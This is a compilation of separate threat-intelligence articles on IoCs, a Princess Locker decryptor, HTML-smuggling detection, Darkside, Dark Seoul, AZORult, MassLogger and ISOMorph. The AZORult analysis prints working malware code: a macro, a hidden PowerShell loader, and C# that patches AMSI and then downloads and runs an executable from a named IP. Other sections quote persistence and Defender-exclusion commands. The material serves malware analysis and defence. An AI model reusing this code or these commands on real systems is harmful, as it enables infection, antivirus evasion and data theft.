(7.60%) and France (7.60%). ## Indicators of Compromise **File Hashes (MD5)** Excel with macros 042b349265bbac709ff2cbddb725033b 054532b8b2b5c727ed8f74aabc9acc73 1237e85fe00fcc1d14df0fb5cf323d6b 3e12880c20c41085ea5e249f8eb85ded Documents.zip c11bad6137c9205d8656714d362cc8e4 Trojan.Win32.Ligooc 997340ab32077836c7a055f52ab148de Trojan-Banker.Win32.QBot 57f347e5f703398219e9edf2f31319f6 **Domains/IPs** Apoxiolazio55[.]space Karantino[.]xyz uqtgo16datx03ejjz[.]xyz 188.127.254[.]114
# Princess Locker Decryptor **[UPDATE: 19th March 2018]** – I keep getting e-mails from people asking me why my decryptor doesn’t work. Please understand, this is an obsolete tool, it was written in 2016 for the FIRST VERSION of Princess Locker. The current version is improved and no longer decryptable. **[UPDATE: 28th Nov 2016]** – Unfortunately, recently a new variant appeared that fixed the bug which allowed me to crack this ransomware. If generating the key takes more than a few minutes, it probably means that you have been infected by the new version of Princess. I am sorry, but I am not capable of helping in such a case. If you are a researcher curious how I cracked it, you can see the decryptor’s source code: [GitHub Repository](https://github.com/hasherezade/decryptors_archive/tree/master/princesslocker_decrypt). The presented decryptor works ONLY for the first version of Princess Locker ransomware (tested on sample: 14c32fd132942a0f3cc579adbd8a51ed). ## Ransom Note Example In this thread, you will find all the information and updates about the progress. Currently, I prepared a set of two EXPERIMENTAL tools: keygen and decryptor. You can download the full package from here. See it in action on YouTube: [YouTube Video](https://www.youtube.com/watch?v=Ted84CoOPvg). Use the keygen first in order to find your key. If this operation went successfully, you can use the decryptor to decrypt your other files. The tools are protected with PE-Lock (special thanks to Bartosz Wójcik). ## How to Use In order to use the keygen, you must find one file that you can provide in both forms: unencrypted and encrypted. You also need to supply the added extension. It is beneficial (but not required) to supply the unique ID from your ransom note. ### Usage: ``` PrincessKeygen.exe [encrypted file] [original file] [added extension] [*unique id] ``` * – optional parameter ### Example: Read the data from your ransom note and supply them to the keygen: ``` PrincessKeygen.exe "square1.bmp.xauwk" "square1.bmp" xauwk ujivtjf25pwt ``` ### What if you don’t have any original file? In case you don’t have the original copy of any of your encrypted files, you can use an encrypted file of one of the following formats: doc, png, gif, pdf, docx, xlsx, ppt, xls. Then, instead of the original file, supply the preprepared header – you can find the set here. However, this method may, in some rare cases, produce invalid results – so supplying the original file is recommended. ### What if you don’t have the ransom note? It’s OK. Just supply the extension – but be warned that cracking may take a bit longer. Check if your output file is valid. If so, save the key and use it to decrypt the rest of your files with the help of PrincessDecryptor. ### Usage: ``` PrincessDecryptor.exe [key] [ransom extension] [*file/directory] ``` * – optional parameter – default is current directory.
# Detecting Initial Access: HTML Smuggling and ISO Images — Part 2 In the previous blog in this series, we extracted behavioral TTPs, prepared the attack emulation, and executed it. It's time for analyzing the logs, validating/modifying the hypotheses that we generated after reading the report (or generating new ones), generating detection strategies, and developing detections. ## Analyzing the Logs I analyzed the Microsoft Defender for Endpoint logs, but you can check Sysmon or your EDR logs. Although there can be other events generated during the attack, below are the most important ones for me to generate or validate hypotheses: 1. Mounting an ISO image generates the below Registry event. 2. Opening the mounted image generates a file creation event. I mounted the ISO twice. 3. Double-clicking the shortcut file generates the below process execution events. 4. Execution of the payload (BOOM.exe) generates a network connection event. ## Validating/Modifying the Hypotheses I already generated some hypotheses after reading the report. Alternatively, you can generate your hypotheses after the emulation and analysis of the logs. I intentionally skipped some hypotheses as they were fragile. For example: - Outlook creating an HTML file (can be bypassed with a .zip) - rundll32 execution (can be replaced by another technique) To me, generating as few hypotheses as possible with enough coverage to detect the attack is important (less is more + Pareto). If I can cover almost all possibilities with a few hypotheses, it will make my life easy. Going back to the attack, since we have the folder name, we can use it for finalizing our hypotheses. ## Final Hypotheses 1. ISO file creation is highly suspicious on non-IT users’ computers. 2. Process execution under a mounted drive can be highly suspicious. 3. Network connection from a process that runs under a mounted drive can be highly suspicious. We need to check if these hypotheses generate high fidelity results. To check the 2. and 3. hypotheses, we need to correlate the Registry event with process creation and network connection events. This is possible if you can query logs and generate new fields. After analyzing the logs historically, I saw all three hypotheses were valid and would generate high fidelity results. ## Creating Detections I’ve created 3 queries for Microsoft Defender for Endpoint, 3 queries for Azure Sentinel (Sysmon) and published them in my GitHub repo. You can use the same logic on your own tool. ## Conclusion In this post, I used a different approach for TTP extraction without fully using the MITRE ATT&CK framework and wanted to show alternative ways of detecting attacks. I also wanted to show detecting Initial Access is still possible. I hope you stop assuming the breach and start hunting/detecting initial access as an additional effort in your threat management program. I’ll keep posting blogs about initial access detection. Stay tuned…
# Darkside Ransomware Gang Loses Control of Servers and Funds A day after US President Joe Biden announced plans to disrupt the hackers behind the Colonial Pipeline cyberattack, the operator of the Darkside ransomware stated that the group lost control of its web servers and some of the funds from ransom payments. “A few hours ago, we lost access to the public part of our infrastructure, namely: Blog, Payment server, CDN servers,” said Darksupp, the operator of Darkside, in a post spotted by Recorded Future threat intelligence analyst Dmitry Smilyanets. “Now these servers are unavailable via SSH, and the hosting panels are blocked,” the Darkside operator complained, noting that the web hosting provider refused to cooperate. Additionally, the Darkside operator reported that cryptocurrency funds were withdrawn from the gang’s payment server, which hosted ransom payments made by victims. The funds, which the Darkside gang was supposed to split with its affiliates, were transferred to an unknown wallet, according to Darksupp. This sudden development follows US authorities announcing their intention to target the gang. In two conferences this week, President Biden stated that the US would pursue measures to disrupt the group after one of its attacks crippled a major fuel transport pipeline, impacting half of the US East Coast and leading to a state of national emergency. “We have been in direct communication with Moscow about the imperative for responsible countries to take decisive action against these ransomware networks,” President Biden said in a press conference. He added, “We do not believe the Russian government was involved in this attack—but we do have strong reason to believe that the criminals who did the attack are living in Russia.” President Biden’s statement followed comments from Bill Evanina, former Director of the US National Counterintelligence and Security Center (NCSC), who indicated that the US intelligence community was likely to respond to the Colonial attack in a disruptive manner. However, Smilyanets warned that the group’s announcement could be a ruse, as no official statement has been made by US authorities. The group might be using President Biden’s statements as cover to shut down its infrastructure and abscond with its affiliates' money, a tactic known as an “exit scam” in the cybercriminal underground. In the past 24 hours, the news of Darkside losing control of its servers and a major cybercrime forum banning ransomware ads has also affected REvil, considered one of today’s largest ransomware operations. In a post quoting Darkside’s now-deleted statement, a REvil spokesperson announced plans to stop advertising their Ransomware-as-a-Service platform and “go private,” indicating a shift to working with a small group of trusted collaborators only. REvil also stated it would cease attacks on sensitive sectors like healthcare, educational institutions, and government networks, which could attract unwanted attention. In the event of such attacks by collaborators, REvil pledged to provide a free decryption key to victims and terminate relationships with misbehaving affiliates. Shortly after REvil’s announcement, the operators of the Avaddon ransomware also declared similar updates to their program, barring attacks on government entities, healthcare organizations, and educational institutions. While the motivations behind these changes among ransomware gangs remain unclear, it is evident that the Colonial Pipeline attack and its aftermath have prompted US authorities to apply pressure on these groups. **Tags:** Biden Colonial Pipeline cybercrime Darkside Ransomware US government Catalin Cimpanu is a cybersecurity reporter for The Record. He previously worked at ZDNet and Bleeping Computer, where he became well-known for his scoops on vulnerabilities, cyberattacks, and law enforcement actions against hackers.
# Dark Seoul Cyber Attack: Could it be worse? **Jon A.P. Marpaung**, **Hoon Jae Lee** Cryptography & Network Security Lab, Dongseo University San 69-1, Jurye 2-dong, Sasang-gu, Busan 617-716, Korea [email protected] [email protected] ## Abstract On March 20, 2013, a cyber attack now known as Dark Seoul, paralyzed several major banking services and broadcasters in South Korea. Labeled by the media as cyber terror, the attack significantly disrupted these services for at least one day. Despite these facts, various indicators suggest that the attack had a low level of sophistication. Major cyber attacks in the past such as Ten Days of Rain and the SK Communications breach employed far more advanced techniques compared to Dark Seoul. We examine the technical details of Dark Seoul by outlining the primary attack vector used, describing the malware components, and discussing the malware’s evasion techniques. Furthermore, we compare this incident to previous attacks in order to determine its technical sophistication using these attacks as a relative benchmark. Lastly, we explore various malware design techniques that were not used in the malware such as multiple propagation vectors, 0-day exploits, and evasion techniques, thus presenting a proof of concept of the malware’s low technical sophistication. **Keywords:** advanced persistent threat; cyber attack; Dark Seoul; defense; malware analysis; ## A. INTRODUCTION In this paper, we take an in-depth look at the malware by examining the attack vectors used, and later discuss whether claims in the media are warranted. According to the investigating team consisting of government, military, and civilian members, as many as 76 samples of malware were collected from infected machines. We present the most likely primary attack vector used by the attackers by analyzing the technical components of Dark Seoul to analyze the sophistication of the malware and attack vectors used. This analysis is based on information obtained from the media as well as technical reports of various malware research labs such as AhnLab, Imperva, Symantec, Avast, Kaspersky, Alienvault, and Sophos. Secondly, we conduct a comparative study of Dark Seoul by looking at prior cyber attacks, namely Stuxnet, 10 Days of Rain, and the SK Communications breach. By doing so, we draw a picture of South Korea’s current security posture since those attacks. Lastly, we discuss several design characteristics of advanced malware used by determined adversaries to carry out more technically advanced and stealthier attacks, therefore highlighting the components where Dark Seoul lacked sophistication. ## B. POSTMORTEM Television broadcasters YTN, MBC, and banks KBS, Shinhan, Nonghyup, and Jeju were targeted in this recent attack. The Korea Internet Security Agency (KISA) reported that about 48,000 computers were affected making services inaccessible and the victim organizations needed weeks to fully restore all functions. In terms of impact, the attackers managed to successfully penetrate the target networks, pivot their way into critical assets, wipe out systems, cause denial of services, and trigger enough public response to spur the media into using terminology such as cyber terror and advanced persistent threats. ### 1. Launch Platform – Cross-Site Scripting Avast detected the attacks originating from the Korea botnet network, which was possibly infected via the phishing email sent on the 19th. Examination of the file names and the Safengine executable suggests that the malware was made in China. The SPC website contained JavaScript causing the client browser to load an iframe loading the contents of the attack site for hosting the malicious payloads. ### 2. Exploitation Examination of rootadmin2012.com revealed heapspray and shellcodes with references to Internet Explorer (IE). Avast managed to identify the vulnerability exploited as CVE-2012-1889 which allows remote attackers to execute arbitrary code or cause a denial of service via a crafted website. The vulnerability targets Microsoft XML Core Services 3.0 – 6.0 via IE6 and IE7 over Windows XP. After gaining access, the second stage downloader file (sun.exe) performs the following actions: - **Check for internet connection:** Downloads an image from naver.com. - **Local DNS cache poisoning:** Redirects requests to certain Korean banking websites listed in Figure 2 to another server in Japan. - **Information harvesting:** After gaining root privileges, the attackers can intercept any information that goes in or out of the infected computer. The most apparent information taken was user credentials. ## C. CASE STUDIES: PREVIOUS MAJOR CYBER ATTACKS ### 1. Stuxnet Stuxnet was discovered in July 2010, but the earliest known variant is confirmed to have existed since 2007. Stuxnet is a complex threat that was primarily written to target an industrial control system (ICS) or set of similar systems. A vast array of components was implemented in the malware including four 0-Day exploits, a Windows rootkit, antivirus evasion techniques, complex process injection, and hooking code. ### 2. 10 Days of Rain On March 4, 2011, a botnet based in South Korea launched DDoS attacks against 40 websites affiliated with South Korean government, military, and civilian critical infrastructure. The botnet was dynamically updated via new malware binaries, launched a DDoS non-stop for more than a week, and then wiped the hard disks with zeroes, overwriting the MBR making the machines unusable. This attack used malware with a much higher level of sophistication than is necessary to launch a trivial distributed denial of service (DDoS) attack. ### 3. SK Communications – CyWorld In July 2011, SK Communications became the victim of an attack that resulted in the loss of the personal details of 35 million users. The users of CyWorld and Nate, services owned by SK Communications, were affected by this attack. Judging from the sophistication of the attack and the time needed for planning it, researchers concluded that the attack was likely to be carried out by an Advanced Persistent Threat. ## D. ADVANCED MALWARE DESIGN ### 1. Multiple Propagation Vectors To increase the probability of successfully infecting the target systems, various propagation vectors should be embedded into the malware. The most likely attack vector is social engineering via phishing emails, USB sticks, and other techniques. Although people can be used as the initial point of entry, propagation needs to continue laterally through the network till the specific target host is reached. ### 2. 0-day Exploits The problem with publicly published vulnerabilities is that people can defend against them. 0-day exploits are written to exploit vulnerabilities that have not been disclosed to the public nor the concerned software vendor. These exploits are at the core payload of any advanced malware and are virtually unstoppable until vendors release a patch or antivirus providers come up with a signature definition. ### 3. Evasion Techniques The deployment of anti-virus software, intrusion detection systems, firewalls, and other malware detection or prevention technology has done much to defend against many attacks. Advanced malware bypasses these defenses by employing techniques such as dynamic botnet obfuscation, network-based fragmentation, and session splicing, to more advanced techniques such as encryption and code reuse attacks. ## E. CONCLUSION Dark Seoul was a low-tech threat that managed to escalate into a high-impact attack. Successful in carrying out its goals, the malware was lacking in many areas that would typically be found in attacks by advanced persistent threats. We highlighted the components of the malware used and the possible design principles that could have been employed to make the attack more sophisticated. South Korea is more at risk now than before the attack, as adversaries less capable than advanced persistent threats realize they could also successfully perform damaging attacks. Undertaking the needed remediation strategies to prevent similar attacks as well as understanding the anatomy of more advanced malware is vital for mounting an adequate defense against the advanced cyber threats. ## ACKNOWLEDGEMENT This research was supported by Basic Science Research Program through the National Research Foundation of Korea (NRF) funded by the Ministry of Education, Science and Technology (grant number: 2012-0008). ## REFERENCES 1. “South Korea blames North for bank and TV cyber-attacks,” BBC News, [online] 10 April 2013. 2. He-suk Choi. “Seoul blames Pyongyang for cyber attacks,” The Korea Herald, [online] 10 April 2013.
# Analysis of a triple-encrypted AZORult downloader I recently came across an interesting malicious document. Distributed as an attachment of a run-of-the-mill malspam message, the file with a DOC extension didn’t look like anything special at first glance. However, although it does use macros as one might expect, in the end, it turned out not to be the usual simple maldoc as the following chart indicates. The message to which the file was attached was fairly uninteresting as it used one of the standard malspam/phishing types of text (basically it was a “request for quotation”) and there was no attempt made to mask or forge the sender in the SMTP headers. After an initial analysis, it became obvious that the DOC extension was not genuine and that the file was really a Rich Text File (RTF). When opening such a file, one usually doesn’t expect Excel to start up and ask the user to enable macros. However, as you may have guessed, this was exactly what opening of this RTF resulted in. In fact, after it’s opening, not one, but four requests from Excel to enable macros were displayed one after the other. Only after these dialogs were dealt with did Word finish loading the seemingly nearly empty RTF and displayed it. The behavior mentioned above was the result of four identical Excel spreadsheets embedded as OLE objects in the RTF body, with the “\objupdate” mechanism used to open each of them in turn when the RTF was loaded. This technique of repeatedly opening the “enable macros” dialog using multiple OLE objects in a RTF file is not new in malicious code. Although it isn’t too widely used, displaying seemingly unending pop-ups would probably be one of the more effective ways to get users to allow macros to run, since they might feel that it would be the only way to stop additional prompts from displaying. After dumping out one of the spreadsheets using rtfobj, the XLS itself could be analyzed using oledump. The only macro present in the XLS file had a very simple structure. It was only supposed to decrypt and decode a payload and executed it using the VBA “shell” command. One small point of interest was that the payload, which it was supposed to decrypt, was not contained in the macro itself but rather in one of the cells (136, 8) of the spreadsheet. The encryption algorithm used in the macro was quite elementary. For completeness sake, it should be mentioned that the second cell referenced in the code (135, 8) only contained the string “&H” used to mark values as hexadecimal in VBA. ```vba Public belive As String Sub Workbook_Open() haggardly End Sub Private Sub haggardly() Dim psychoanalytic As Long: Dim unwelcomed As String: psychoanalytic = 1 GoTo target narcomania: unwelcomed = unwelcomed & Chr(CInt(Sheets("EnZWr").Cells(135, 8).Value & Mid(belive, psychoanalytic, 2)) - 41) psychoanalytic = psychoanalytic + 2 GoTo target target: belive = Sheets("EnZWr").Cells(136, 8).Value If psychoanalytic <= Len(belive) Then GoTo narcomania Else Shell unwelcomed Exit Sub End If End Sub ``` The code, which was supposed to be decrypted and executed by the macro, turned out not to be the final payload of the maldoc, but rather an additional decryption envelope – this time a PowerShell one. The encryption algorithm used in it was not very complex either. However, since it was almost certainly intended as an obfuscation mechanism rather than anything else, cryptographic strength would be irrelevant to its purpose. ```powershell powershell -WindowStyle Hidden function rc1ed29 { param($o6fb33) $jdc39='k7ce46'; $t2e762=''; for ($i=0; $i -lt $o6fb33.length; $i+=2) { $c48e2=[convert]::ToByte($o6fb33.Substring($i,2),16); $t2e762+=[char]($c48e2 -bxor $jdc39[($i/2)%$jdc39.length]); } return $t2e762; } $xe549 = '1e440a0b...data omitted...075e494b'; $xe5492 = rc1ed29($xe549); Add-Type -TypeDefinition $xe5492; [bb7f287]::b9ca7ba(); ``` The result of the previous code, or rather its decryption portion, was the final payload – a considerably obfuscated C# code. After deobfuscation, its main purpose became clear. It was supposed to download a file from a remote server, save it as c2ef3.exe in the AppData folder, and execute it. ```csharp using System; using System.Runtime.InteropServices; using System.Diagnostics; using System.IO; using System.Net; public class bb7f287 { [DllImport("kernel32",EntryPoint="GetProcAddress")] public static extern IntPtr GetProcAddress(IntPtr key,string bdf77a); [DllImport("kernel32", EntryPoint = "LoadLibrary")] public static extern IntPtr LoadLibrary(string mf43f84); [DllImport("kernel32", EntryPoint="VirtualProtect")] public static extern bool VirtualProtect(IntPtr od5551,UIntPtr j1698, uint ue73e, out uint s1b1c16); [DllImport("Kernel32.dll", EntryPoint="RtlMoveMemory", SetLastError=false)] static extern void RtlMoveMemory(IntPtr qfcea,IntPtr c37f1d,int s89a7); public static int b9ca7ba() { IntPtr amsi_library = LoadLibrary("amsi.dll"); if(amsi_library==IntPtr.Zero) { goto download; } IntPtr amsiScanBuffer=GetProcAddress(amsi_library,"AmsiScanBuffer"); if(amsiScanBuffer==IntPtr.Zero) { goto download; } UIntPtr pointerLen=(UIntPtr)5; uint y372d=0; if(!VirtualProtect(amsiScanBuffer,pointerLen,0x40,out y372d)) { goto download; } Byte[] byte_array={0x31,0xff,0x90}; IntPtr allocatedMemory=Marshal.AllocHGlobal(3); Marshal.Copy(byte_array,0,allocatedMemory,3); RtlMoveMemory(new IntPtr(amsiScanBuffer.ToInt64()+0x001b),allocatedMemory,3); download: WebClient gaa7c=new WebClient(); string savePath=Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)+"\\c2ef3"+DecryptInput("45521b00"); gaa7c.DownloadFile(DecryptInput("034317150e19440653511a045f034d520d185a05504a7545447a37480606520652541a5c1b50"),savePath); ProcessStartInfo finalPayload=new ProcessStartInfo(savePath); Process.Start(finalPayload); return 0; } public static string DecryptInput(string input) { string key="k7ce46"; string output=String.Empty; for(int i=0; i<input.Length; i+=2) { byte inputData=Convert.ToByte(input.Substring(i,2),16); output+=(char)(inputData ^ key[(i/2) % key.Length]); } return output; } } ``` As you may have noticed, the link to the remote file was protected with a third layer of encryption using the same algorithm we have seen in the PowerShell envelope. After decryption, it came down to the following URL: `http://104.244.79.123/As/MT-209111.jpg`. At the time of analysis, the file was no longer available at that URL; however, information from URLhaus and Any.Run points firmly to it being a version of AZORult infostealer. One interesting point related to the final payload of the downloader is that, besides downloading the malicious executable, the code also tries to bypass the Microsoft Anti-Malware Scanning Interface (AMSI) using a well-known memory patching technique. Given the similarities of the code, it would seem that the authors of the downloader re-used a code sample available online for the bypass, instead of writing their own code. In any case, with the use of Word, Excel, PowerShell, and three layers of home-grown encryption, this downloader really turned out to be much more interesting than a usual malspam attachment. ## Indicators of Compromise (IoCs) - **MT-209111.DOC (403 kB)** - MD5 - 2c93fb1a782b37146be53bd7c7a829da - SHA1 - 085518dabedac3abdb312fdd0049b7b5f9af037a - **Embedded XLS spreadsheet (46 kB)** - MD5 - ae79867244d9a3aae92a57da8cbb2655 - SHA1 - 67ca2a50cc91ccd53f80bb6e29a9eae3c6128855 - **MT-209111.jpg / c2ef3.exe (837 kB)** - MD5 - 2d9dc807216a038b33fd427df53100b6 - SHA1 - 6a8e6246f70692d86a5ec5b37e293932a20ee0f3
# MassLogger: An Emerging Spyware and Keylogger **Written by Aniruddha Dolas** **July 31, 2020** **Estimated reading time: 7 minutes** ## Summary We have been dealing with a new spyware for the past two months, named MassLogger. This advanced keylogger and spyware are distributed via MalSpam attachments and has more features than other present keylogger tools. It has been observed that this campaign is using several different file types as malicious attachments as an initial infection vector. Also, the dynamic behaviour of this campaign is not constant across multiple samples. It comes with several functionalities like keylogger, Windows Defender exclusion, taking screenshots, spreading via USB, clipboard stealing, VM detection, etc. ## Technical Details Here are different file types used as spam attachments in this campaign: - zip - rar - gz - 7z - img - iso - doc - arj - xz - ace - docm - z - xlsm - cab After looking at the above list, we can see two major categories of attachment— first is archive file and second is a document file. In the case of archive files, there is .NET masslogger payload after extraction, while in the case of document file it contains VBA macro and exploit which downloads masslogger payload from a remote server. ## Polymorphic Process Chain We have seen different variants of dynamic behaviour across multiple samples in this campaign. Below are snapshots of a few process chains: - Fig 1: Process Chain - Fig 2: Process Chain - Fig 3: Process Chain - Fig 4: Process Chain ## Document Analysis In some cases, threat actors have used office document file as initial infection vector with VBA macro and equation editor exploit. The following figure shows the extraction of Excel document having embedded OLE storage containing 2 VBScripts and 1 file of CVE-2017-11882 exploit and VBA Project stream containing VBA macros. - Fig 5: OLE Streams and Storages The following figure shows multiple OLE streams each containing different data. - Fig 6: Ole Embeddings The first stream oleObject1.bin is a VB script file contains renamer code and after which it executes VBS file using Wscript. - Fig 7: VBS Job OleObject2.bin stream is also a VB script which is highly obfuscated and having code to download a payload from C2 server. - Fig 8: VBS downloader The excel sheet containing stack-based buffer overflow editor exploit of the equation editor renames and executes VB Scripts using WinExec api (0x00430C12) post-exploitation. - Fig 9: Shellcode “1C00” is the header of Equation Editor, in the right side, the shellcode is present containing cmd.exe initially renames the VB script and passes it to Wscript to execute that VB Script. After overflow occurs, this whole data is passed to WinExec function which does the further activity. To increase the chances of payload delivery, the attacker uses both exploit and VBA macros. When exploit fails on a patched system, another component, VBA macros are also present in the document file. The similar VBS code is present in VBA macros and macro code has the responsibility of dropping the VBS file in “C:\programdata\” folder and execute it as VBS Job which does further similar activity as that of the Equation Native exploit. ## Payload Analysis The payload is downloaded from different initial attack vectors as discussed above when it executes and goes in sleep for a few seconds. There is a lot of sleep code present in this binary. There are a total of 4 components present with 2 layers of the packed file. ### Stage 1 Layer In the 1st layer, when it gets executed it has a simple code hidden in a Form() component. This code is responsible to extract a dll file from resource directory in present in reverse data in Base64 format which further gets resolved and dumps a dll with name AndroidStudio.dll. - Fig 10: Fetch data from resources AndroidStudio.dll has a responsibility to decompress and decrypt a buffer which passes to it. - Fig 11: Android Studio code GZip decompression method is used to decompress the buffer passed from the resource directory. This dll is used to dump another PE file which is responsible for further activity. ### Stage 2 Layer: Lazarus.exe The Lazarus.exe gets dumped which is highly obfuscated .NET file which is now unpacked from the parent file. We have decoded this file using de4dot tool successfully. In execution, it goes in sleep for a few seconds, it checks if its own copy is present at “%appdata%” location. If not, it drops a self-copy at “%appdata%” location. After that, to stay persistent in the system, it creates an entry in task scheduler. For this, it creates and drops a XML config file at “%temp%” location which is the input for creating task scheduler. The metadata for XML file is hardcoded and stored in PE resource. All data gets replaced at runtime. - Fig 12: Task Scheduler XML The name of starts with string “Update\” followed by file name dropped at %appdata% location. Following command gets executed to add an entry in task scheduler. ``` “C:\Windows\System32\schtasks.exe” /Create /TN “Updates\<filename>” /XML “C:\Users\<username>\AppData\Local\Temp\tmp<USERID>.tmp” ``` Now time to move to the final payload which is MassloggerBin.exe. Using Process Hollowing technique, it injects code into its own process. Following image shows the use of the self-hollowing technique to do its further activity. - Fig 13: Process Hollowing When it successfully writes and creates a new process, the parent process gets terminated and code injected process runs as an orphan. The code of this process is also highly obfuscated. All function and class names are modified to random/obfuscated string. ### Stage 3 Layer: MassLoggerBin.exe With the start, it extracts a dll file having name “Ionic.Zip.Reduced.dll” from its resources. The Ionic.Zip.Reduced.dll is a DotNetZip free fast class library used for manipulating zip files. The code used by the attacker in Masslogger is available on this site. The main motive of using this dll is to create a zip file containing a compressed package of files like snapshots, keyloggers, user info etc. The internal config-based functionality is used by MassLogger to fetch the required accordingly which is then assigned to a specific variable. Following are the variables that fetch data stored in its internal config by going to particular offset is the first parameter and the config array from where data gets fetched is the second parameter. - Fig 14: Retrieves Config data - Fig 15: Config Data It starts collecting system information like name of the system, Windows version, CPU, GPU, AV installed, Public IP which it gets from URL: “hxxp[:]//api[.]ipify[.]org”, also gets running process information. - Fig 16: Running Processes MassLogger also stores a running process windows name in its log file. ## MassLogger Functionality 1. **Application Data Stealer:** Following are some list of applications where it tries to steal user data and which further sends to its C2 server. By checking data from hardcoded path stored in this binary, it checks for particular data and installation of these applications, if it does not find any details, it creates an entry in the following format, `<|| Application-name ||>` Not Installed The following modules are present in MassLogger binary. 2. **Windows Defender Exclusion:** It has a module named as “WD Exclusion” which is a Windows Defender Exclusion. Using command “Add-MpPreference –ExclusionPath <path>“, it excludes itself from Windows Defender Anti-Virus. 3. **USB Spread:** Another module, USB Spread, it uses an open-source code of LimeUSB available on GitHub. It is used to infect files stored on the USB drive. When files on USB gets executed, it executes its own code as well as infected code. - Fig 17: USB Spread Module 4. **Keylogger and Clipboard:** It has a key log capture module, using “SetWindowHookEx” api it captures all keyboard keys and logs it. - Fig 18: Keyboard Hooking 5. **Anti VM:** It also has Anti-VM techniques by checking for Video_Controller adapter using WMI “Select * from Win32_VideoController” which retrieves which information related to the graphics card. If the process is executing on Virtual Box then it returns “Virtual Box Graphics Adapter”. - Fig 19: Video Adapter 6. **Search And Upload:** As per config file, it searches for some file which it wants to send to the C2 server that stores in “SearchAndUpload.zip” archive. All data is stored and retrieved from its config file. Following is the view of MassLogger config file. - Fig 20: Config File Once all data collection is done, it creates a log file containing all data like when Masslogger Process is started and ended and other collected details. After that, it compresses using ZIP and gets stored at the location “C:\Users\<USERNAME>\AppData\Local”. - Fig 21: MassLogger log file ## Conclusion Masslogger is a highly configurable and modular keylogger and spyware. The author behind Masslogger tried to make it more sophisticated in features than other keyloggers, these features make it hard to detect this advanced malware. ## IoCs - 4A199C1BA7226165799095C2C2A90017 (XLSM) - D1FFF0C0782D08ED17387297369797E0 (XLSM) - 31B65A54940B164D502754B09E3E9B63 (PE) - 37958546CB6DC41F505FDCB3430CEE3B (PE) ## Subject Matter Experts Aniruddha Dolas Pawan Chaudhari Aniruddha Dolas is part of the HIPS (Host-based Intrusion Prevention System) team in Quick Heal Security Labs. He has worked on various security vulnerabilities.
# ISOMorph Infection: In-Depth Analysis of a New HTML Smuggling Campaign Menlo Security has been closely monitoring an attack we are naming ISOMorph. ISOMorph leverages HTML Smuggling to deliver malicious files to users’ endpoints by evading network security solutions such as sandboxes and legacy proxies. Isolation prevents this attack from infecting the endpoint. Here’s what we know: ## Executive Summary Data breaches, malware, ransomware, phishing, and DDoS attacks are all on the rise. Now another type of attack is quickly emerging. Menlo Labs is seeing an uptick of attackers using HTML Smuggling to get their malicious payloads to the endpoint. ISOMorph is one such campaign that is taking advantage of this technique on the heels of attacks by Nobelium, the threat actor behind SolarWinds, who used the same technique in their most recent spear-phishing campaign. Menlo Labs has identified malicious actors using the popular Discord app to host malicious payloads. The Remote Access Trojan (RAT) used in this campaign (AsyncRAT) has many capabilities that are used to evade detection, log passwords, and exfiltrate data. An enterprise infected with this RAT must assume that the goal of the attackers is exfiltration of sensitive data. HTML Smuggling, a technique that is fast gaining notoriety, is used to drop the first-stage dropper—malware samples that initially land on a victim’s machine before fetching a main payload. HTML Smuggling was also used in the most recent spear-phishing campaign by the Nobelium group. The attack is multi-staged and checks and disables various anti-virus programs running on the endpoint. AsyncRAT/NJRAT is the Remote Access Trojan that gets installed on successfully compromised endpoints. Bad actors are using the popular Discord app to host malicious payloads in this campaign. This is important to note because Discord, a group chatting platform, reportedly has over 150 million active users who use the app to communicate over text and voice. ## Why is HTML Smuggling re-emerging? Beginning in 2020, when the world shifted to remote working, the browser became the place where work happens. “Even ahead of shelter-in-place and extensive work-from-home initiatives, business users reported spending 75 percent of their workday either working in a web browser or attending virtual meetings,” according to a Forrester study. HTML Smuggling delivers malware by effectively bypassing various network security solutions, including sandboxes, legacy proxies, and firewalls. We believe attackers are using HTML Smuggling to deliver the payload to the endpoint because the browser is one of the weakest links, without network solutions to block the payload. ## Technical Analysis Let’s start by providing a high-level overview diagram of the attack before we dig into the details. We’ve broken down the attack into sections, in accordance with the MITRE ATT&CK framework, to help detection and response teams easily incorporate these tactics, techniques, and procedures (TTPs) into their frameworks. ### Initial Access Menlo Labs has seen attackers leverage HTML Smuggling using both email attachments and web drive-by downloads. ### What is HTML Smuggling? HTML Smuggling is a technique attackers use to construct the malicious payload programmatically on the HTML page using JavaScript, as opposed to making an HTTP request to fetch a resource on a web server. This technique is neither a vulnerability nor a design flaw in browser technologies, and web developers use this technique often to optimize file downloads. ### How ISOMorph uses this technique The attackers behind ISOMorph use the following JavaScript code to construct the payload directly on the browser. In a nutshell, the JavaScript code is creating an element “a,” setting the HREF to the blob and programmatically clicking it to trigger the download to the endpoint. Once the payload is downloaded to the endpoint, the user must open it to execute the malicious code. ### Execution What gets downloaded to the endpoint is an ISO file. Why an ISO file? ISO files are disk images that contain all the files/folders required to install software on endpoints. Attackers are always testing web and email gateway devices to see what file formats are exempt from inspection, then they incorporate those exempt file formats into their TTPs. ISO file formats are preferred by attackers because they do not require any third-party software to install. The following is a list of all the malicious scripts that we observed embedded in the ISO file: 1. Bills-19877733351.vbs 2. Bills-bbt-89567815.vbs 3. Spectrum (statement).vbs 4. INVOICE-992771.vbs 5. BBT-Invoice-71213241.DOCX.vbe 6. Order_ConfirmationID717323644552844.js 7. Order-ID693913086962206.vbs 8. court.vbs Once the VBScript script gets executed, it fetches additional PowerShell scripts. The following flowchart details the actions resulting in the execution of the first-stage payload. ### Achieving Persistence ISOMorph achieves persistence by first creating a Windows directory called “Microsoft Arts\Start” under “C:\Program Data\”. It then sets the registry key value under the “User Shell Folders” and “Shell Folders” to point to the directory previously created. The PowerShell script then downloads a file called “Dicord.lnk” under the “C:\Program Data\Microsoft Arts\Start\” directory. ### Defense Evasion The bad actors behind this campaign execute the malicious code by proxy, by injecting it into MSBuild.exe. MSBuild is a trusted process, so by injecting into MSBuild, application whitelisting solutions are easily circumvented. The bad actors use reflection to load a DLL file in memory and inject the RAT payload into MSBuild.exe. Reflection enables developers to obtain information about loaded DLL files and the types defined within them, invoke methods, etc. AV usually looks at any files with .dll extensions that get loaded by monitoring the LoadLibrary API. By reflectively loading the DLL files and invoking certain methods, malware authors can bypass AV software. This directly maps to the Technique T1127.001 in the MITRE ATT&CK framework. ### Command and Control As seen from the previous step, a method (WpfControlLibary1.LOGO.hahaha) in the .NET RAT payload is called to start the AsyncRAT functionality. AsyncRAT encrypts its config using AES. The Base64 strings are the encrypted config for the RAT. Upon decryption using the hardcoded AES key, we can see the CnC server host/port, version, and other settings for the RAT. ## Threat Actor and Campaign Information 